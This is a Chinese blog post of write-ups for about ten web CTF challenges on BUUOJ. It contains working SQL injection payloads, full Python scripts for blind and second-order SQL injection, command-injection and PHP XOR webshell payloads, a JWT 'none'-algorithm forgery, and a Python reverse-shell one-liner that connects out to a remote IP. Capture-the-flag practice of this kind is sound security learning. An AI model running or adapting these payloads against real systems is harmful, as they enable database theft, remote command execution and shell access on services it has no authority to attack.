[RCTF2015]EasySQL

二次注入

在用户名处写入,然后在修改密码的地方存在二次注入

import requests

html = 'http://c7bc9bfa-7a64-4ba5-8e35-7b4d4bc69f91.node3.buuoj.cn'

def register(sess,name):
    nhtml = html + '/register.php'
    data = {
        'username': name,
        'password': '1',
        'email': '1'
    }
    sess.post(nhtml,data=data)

def login(sess,name):
    nhtml = html + '/login.php'
    data = {
        'username': name,
        'password': '1'
    }
    sess.post(nhtml,data=data)

def change(sess,name):
    nhtml = html + '/changepwd.php'
    data = {
        'oldpass': '1',
        'newpass': '1'
    }
    txt = sess.post(nhtml,data=data).text
    return txt

def payload(pay):
    sess = requests.session()
    register(sess,pay)
    login(sess,pay)
    print(change(sess,pay))

第一步:数据库名

payload('as"^extractvalue(1,concat(0x7e,(select(database()))))#')
image.png

第二步:表名

payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))))#')
image.png

第三步:列名

payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))#')
image.png

第四步:字段

payload('as"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#')
image.png

flag,找真的去

第五步:列名

payload('as"^extractvalue(1,concat((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))))#')
image.png

第六步:字段(前)

!=绕过xxx

payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here!='xxx'))))#')
image.png

第七步:字段(后)

reverse函数反向获取右半边的内容

payload('as"^extractvalue(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here!='xxx'))))#')
image.png

拼接得到flag

[HITCON 2017]SSRFme

给了源码

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);
?>

感觉就是想办法写shell。使用了shell_exec这个函数,感觉平时命令用的不多;拼接了一个GET,更为奇妙了。找WP找到了这篇文章。应该是两种方法都可以做。

考虑到BUUOJ靶机无法访问外网,所以我们只能用open的漏洞来操作。

Payload:

?url=file:bash -c /readflag|&filename=bash -c /readflag|

然后写入:

?url=file:bash -c /readflag|&filename=123

访问sandbox得到答案

image.png

Perl不熟,以后再理解吧

[SUCTF 2019]EasyWeb

过滤了我能想到的几乎全部东西,只能找WP去

找到了这篇文章,原来是不可见字符的异或;

得到一种payload,后面遇到类似的可以自己写个脚本跑跑

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

大致是异或出来了_GET,然后执行了下命令。

然后搜索得到flag

image.png

不是很明白为啥WP后面还有那么多内容……可能是原题有一些别的限制?

仔细看了下大家都没有在phpinfo里面搜索一下flag,都去执行get_the_flag然后文件上传去了……不过学习一下也不坏,大致看了一下,基本算是学会了

[HFCTF2020]EasyLogin

注册一个账户后登录,在新的框里面随便输点东西就没权限了,看起来是要拿到管理员权限

查看Cookie,发现sses:aokbase64JSON编码的用户名,后面sses:aok.sig则猜测是签名(防止篡改Cookie)。感觉应该不是注入题,想想办法绕过。

注册的返回有个token,应该是JWT

image.png

上网解密,发现有密码,然后不会了,去找WP

然后知道了如果算法设置为空在某些情况也是没问题的,所以操作一下,重新POST

image.png

修改Cookie,得到flag

image.png

[V&N2020 公开赛]CHECKIN

开局源码

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

感觉以前做过类似的题,当时是读个描述符就完事

现在看看能不能复刻出来,尝试用RequestBin带出来,但是没外网

只能开小号操作了。。。

奇特的地方在于只能用python反弹shell,用不了别的,但是又有bash,所以挺奇怪

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.202.146",12500));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
image.png

通过cmdline找到合适的文件描述符打开,就可以拿到flag

[GYCTF2020]Ezsqli

image.png

底部存在查询接口,直觉告诉我是异或+布尔盲注。试一下看看行不行

掏出传统脚本一通操作,果然没问题

import sys
import requests
import string
import time

config_html = 'http://3a4da166-5838-4b1d-8916-17fec59a5fb1.node3.buuoj.cn/index.php'

config_method = 'POST'

config_key = 'id'

config_data = {
    'id' : 'if({0},1,0)'
}

config_length = 'char_length({0}){1}'

config_line = 'ascii(substr({0},{1},1)){2}'

config_success_flag = 'Nu1L'

config_failed_flag = 'Error Occured When Fetch Result.'

config_retry_time = 0.1

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

config_data_range = string.digits + string.ascii_letters + '{}_,-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        time.sleep(config_retry_time)
        if config_method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    #print(r.text)
    if config_success_flag in r.text:
        return True
    elif config_failed_flag in r.text:
        return False
    else:
        print('Error: method error!')
        return False

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def concat_line_length(cmd,i):
    return config_length.format(cmd,'>' + str(i))

def concat_line_value(cmd,i,nowlen):
    return config_line.format(cmd,nowlen+1,'>' + str(ord(i)))

def get_length_line(cmd):
    for i in range(0,255):
        time.sleep(config_retry_time)
        #print(cfg_data(concat_line_length(cmd,i)))
        if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
            print('[-] {0} NOT length: {1}'.format(cmd,i))
            continue
        else:
            print('[+] {0} length: {1}'.format(cmd,i))
            return i
    print('[-] Search Length Failed...')
    return 0

def get_value_line(cmd,length,preline):
    ret = list(preline)
    for l in range(length - len(preline)):
        fg = False
        for i in config_data_range:
            #print(config_data_range)
            #print(i)
            time.sleep(config_retry_time)
            #print(cfg_data(concat_line_value(cmd,i,l+len(preline))))
            if get(url = config_html,data = cfg_data(concat_line_value(cmd,i,l+len(preline)))):
                continue
            else:
                fg = True
                ret.append(i)
                #print(ret)
                print('[+] {0} : {1}'.format(cmd,''.join(ret)))
                break
        if fg == False:
            ret.append(config_data_range[-1])
            print('[+] {0} : {1}'.format(cmd,''.join(ret)))
            break
    return ret

数据库名

def database():
    cmd = 'database()'
    length = get_length_line(cmd)
    print(get_value_line(cmd,length,''))

database()
image.png

然后我们发现检测了SQL注入,可能是筛选了一些关键字。手工测试发现屏蔽了for这个关键字,感觉很奇特。所以information_schema用不了了,而且performence_schema也不行。那么只能试试SHOW操作。

这里找到了一种操作方式

SHOW tables like '%s%';

可惜用不了,貌似不行

然后考虑MySQL 5.7sys数据库,使用sys.schema_auto_increment_columns操作一波,然而也是被屏蔽了

没办法,查询一波版本,发现是5.7.29

def version():
    cmd = "version()"
    length = get_length_line(cmd)
    print(get_value_line(cmd,length,''))

version()
image.png

查了下也没有现成漏洞,而且这估计就是个注入题,不会了,查WP去。。。

然后知道了一个新表sys.schema_table_statistics_with_buffer,于是用这个表试试

查表名

def table():
    cmd = "(SELECT(group_concat(table_name))FROM(sys.schema_table_statistics_with_buffer)WHERE(table_schema=database()))"
    length = get_length_line(cmd)
    print(get_value_line(cmd,length,''))

table()
image.png

然后是无列名注入,和之前的题目([SWPU2019]Web1)挺像。相同的操作下

然后发现居然屏蔽了 union,不加空格就没问题,加了就屏蔽,不过/**/貌似没屏蔽

然后发现如果UNION前面有特定字符就会被屏蔽,不会了。。。继续看WP

然后发现新脚本不行,我的老脚本(无法判断大小写)居然和WP思路一致。。。不过一个样,新脚本改改也应该能跑

修改版脚本

config_data_range = 'flag{}-' + string.digits + 'bcde'
config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

def get_value_line(cmd,length,preline):
    ret = list(preline)
    for l in range(length - len(preline)):
        fg = False
        last = ''
        for i in config_data_range:
            #print(config_data_range)
            #print(i)
            time.sleep(config_retry_time)
            #print(cfg_data(cmd.format("".join(ret) + i)))
            if get(url = config_html,data = cfg_data(cmd.format("".join(ret) + i))):
                last = i
                #print(last)
                continue
            else:
                fg = True
                #print(last)
                ret.append(last)
                #print(ret)
                last = ''
                #print(ret)
                print('[+] {0} : {1}'.format(cmd,''.join(ret)))
                break
        if fg == False:
            ret.append(config_data_range[-1])
            print('[+] {0} : {1}'.format(cmd,''.join(ret)))
            break
    return ret

def flag():
    cmd = "(SELECT 1,'{0}')<(select * from f1ag_1s_h3r3_hhhhh)"
    length = 100
    print(get_value_line(cmd,length,''))

flag()
image.png

[BJDCTF 2nd]文件探测

robots.txt,显示admin.php

需要从127.0.0.1进入,但是试了X-Forwarded-ForClient-ip都不行。看来需要别的入手点。

注意到访问时Header存在Hint,提示home.php

image.png

进入,用伪协议读取一下system.php的内容。

system.php

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Detector</title>

    <link rel="stylesheet" type="text/css" href="css/normalize.css" />
    <link rel="stylesheet" type="text/css" href="css/demo.css" />

    <link rel="stylesheet" type="text/css" href="css/component.css" />

    <script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
    <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
        <div class="simform-inner">
            <span><p><center>File Detector</center></p></span>
            <ol class="questions">
                <li>
                    <span><label for="q1">你知道目录下都有什么文件吗?</label></span>
                    <input id="q1" name="q1" type="text"/>
                </li>
                <li>
                    <span><label for="q2">请输入你想检测文件内容长度的url</label></span>
                    <input id="q2" name="q2" type="text"/>
                </li>
                <li>
                    <span><label for="q1">你希望以何种方式访问?GET?POST?</label></span>
                    <input id="q3" name="q3" type="text"/>
                </li>
            </ol>
            <button class="submit" type="submit" value="submit">提交</button>
            <div class="controls">
                <button class="next"></button>
                <div class="progress"></div>
                <span class="number">
                    <span class="number-current"></span>
                    <span class="number-total"></span>
                </span>
                <span class="error-message"></span>
            </div>
        </div>
        <span class="final-message"></span>
    </form>
    <span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
    var theForm = document.getElementById( 'theForm' );

    new stepsForm( theForm, {
        onSubmit : function( form ) {
            classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
            var messageEl = theForm.querySelector( '.final-message' );
            form.submit();
            messageEl.innerHTML = 'Ok...Let me have a check';
            classie.addClass( messageEl, 'show' );
        }
    } );
</script>

</body>
</html>
<?php

$filter1 = '/^http://127.0.0.1//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u "".$url ."" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

再读取一下home.php

home.php

<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
    if (preg_match("/^|~|&||/", $_GET['file'])) {
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){
        die("禁止套娃");
    }

    else{
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
            $file = $_GET['file'].".php";
        }
        else{
            $file = $_GET['file'].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "<br>";
        require $file;
    }
} else {
    echo "<script>location.href='./home.php?file=system'</script>";
}
?>

看起来是不能再读取别的东西了,想想system.php怎么操作。

SSRF读取,但是%d不是很会绕过,找WP

然后明白了大致的读取方式,试验一下

image.png
image.png
image.png

admin.php

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>

现在的问题就是$_SESSION['secret']是个随机数,这个也没法确定是多少,所以得想办法绕过去。

不过如果没有SESSION,是不是这个值就自动没了呢?查下WP发现行。

image.png
function aesEn($data, $key){
    $method = 'AES-128-CBC';
    $iv = md5('174.0.0.15',true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng')
image.png

URLEncode后得到flag

image.png

[GKCTF2020]EZ三剑客-EzNode

给了源代码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

给了版本,看一下

{
  "name": "src",
  "version": "1.0.0",
  "main": "index.js",
  "license": "MIT",
  "dependencies": {
    "body-parser": "1.19.0",
    "express": "4.17.1",
    "safer-eval": "1.3.6"
  }
}

找到了一个safer-eval漏洞,可惜版本不符合。

然后找到这篇文章,照抄完事……

写一下过程:

delay可以用溢出来绕过。

后面的safer-eval有现成的漏洞PoC,复刻就可以。

image.png

[RoarCTF 2019]Online Proxy

看起来像文件包含,然而实际是个注入。。。

暂时跳过这题,跟前面的注入差不多

还是写了,这把写个二分脚本。。。

二次注入,第一次的X-Forwarded-For被当成Current-Ip,第二次X-Forwarded-For随便写点东西就会把第一次不一样的存入数据库(触发注入语句),第三次X-Forwarded-For和第二次一样就会查询数据库,就能根据得到的0或者1来判断布尔盲注了。

数据库

import requests

url = 'http://node3.buuoj.cn:25428/'

def get(sess,xff):
    r = sess.get(url,headers = {'X-Forwarded-For':xff})
    return r.text

def check(xff):
    sess = requests.session()
    #print(xff)
    get(sess,xff)
    xff = 'aaa'
    get(sess,xff)
    return get(sess,xff)

import string

charset = string.digits + string.ascii_letters + '{},-'

succ = 'Last Ip: 1'

def database():
    xff = "0' or {0} or '0"
    cmd = '(select group_concat(schema_name) from information_schema.schemata)'
    s = 'ascii(substr({0},{1},1))<={2}'
    ls = 'char_length({0})={1}'
    length = 78
    ans = []
    '''for i in range(255):
        res = check(xff.format(ls.format(cmd,i)))
        #print(res)
        if succ in res:
            print('[+] LEN = {0}'.format(i))
            length = i
            break
        print('[-] NOT LEN = {0}'.format(i))'''
    for i in range(1,length+1,1):
        l = 32
        r = 128
        while l <= r:
            mid = (l + r) // 2
            res = check(xff.format(s.format(cmd,i,mid)))
            if succ in res:
                r = mid - 1
            else:
                l = mid + 1
        ans.append(chr(l))
        print('[+] {0} = {1}'.format(cmd,''.join(ans)))                
    return ans

database()

表名

import string

succ = 'Last Ip: 1'

def table():
    xff = "0' or {0} or '0"
    cmd = "(select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e')"
    s = 'ascii(substr({0},{1},1))<={2}'
    ls = 'char_length({0})={1}'
    length = 0
    ans = []
    for i in range(255):
        res = check(xff.format(ls.format(cmd,i)))
        #print(res)
        if succ in res:
            print('[+] LEN = {0}'.format(i))
            length = i
            break
        print('[-] NOT LEN = {0}'.format(i))
    for i in range(1,length+1,1):
        l = 32
        r = 128
        while l <= r:
            mid = (l + r) // 2
            res = check(xff.format(s.format(cmd,i,mid)))
            if succ in res:
                r = mid - 1
            else:
                l = mid + 1
        ans.append(chr(l))
        print('[+] {0} = {1}'.format(cmd,''.join(ans)))                
    return ans

table()

列名

def column():
    xff = "0' or {0} or '0"
    cmd = "(select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e')"
    s = 'ascii(substr({0},{1},1))<={2}'
    ls = 'char_length({0})={1}'
    length = 0
    ans = []
    for i in range(255):
        res = check(xff.format(ls.format(cmd,i)))
        #print(res)
        if succ in res:
            print('[+] LEN = {0}'.format(i))
            length = i
            break
        print('[-] NOT LEN = {0}'.format(i))
    for i in range(1,length+1,1):
        l = 32
        r = 128
        while l <= r:
            mid = (l + r) // 2
            res = check(xff.format(s.format(cmd,i,mid)))
            if succ in res:
                r = mid - 1
            else:
                l = mid + 1
        ans.append(chr(l))
        print('[+] {0} = {1}'.format(cmd,''.join(ans)))                
    return ans

column()

flag

def flag():
    xff = "0' or {0} or '0"
    cmd = "(select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e)"
    s = 'ascii(substr({0},{1},1))<={2}'
    ls = 'char_length({0})={1}'
    length = 0
    ans = []
    for i in range(255):
        res = check(xff.format(ls.format(cmd,i)))
        #print(res)
        if succ in res:
            print('[+] LEN = {0}'.format(i))
            length = i
            break
        print('[-] NOT LEN = {0}'.format(i))
    for i in range(1,length+1,1):
        l = 32
        r = 128
        while l <= r:
            mid = (l + r) // 2
            res = check(xff.format(s.format(cmd,i,mid)))
            if succ in res:
                r = mid - 1
            else:
                l = mid + 1
        ans.append(chr(l))
        print('[+] {0} = {1}'.format(cmd,''.join(ans)))                
    return ans

flag()
image.png

[HarekazeCTF2019]encode_and_encode

JSON解析会把uxxxx这样的Unicode字符正常解析,但是之前的条件判断则不会。(也就是检测合法性在json_decode之前)所以我们可以用u这种方式绕过。由于对读取内容做了检测,所以伪协议base64

前几天西湖论剑的Web5有着相同的技巧。

Payload

{ "page" : "u0070u0068u0070://filter/convert.base64-encode/resource=/u0066u006cu0061u0067"}
It is my final heart.
最后更新于 2022-07-24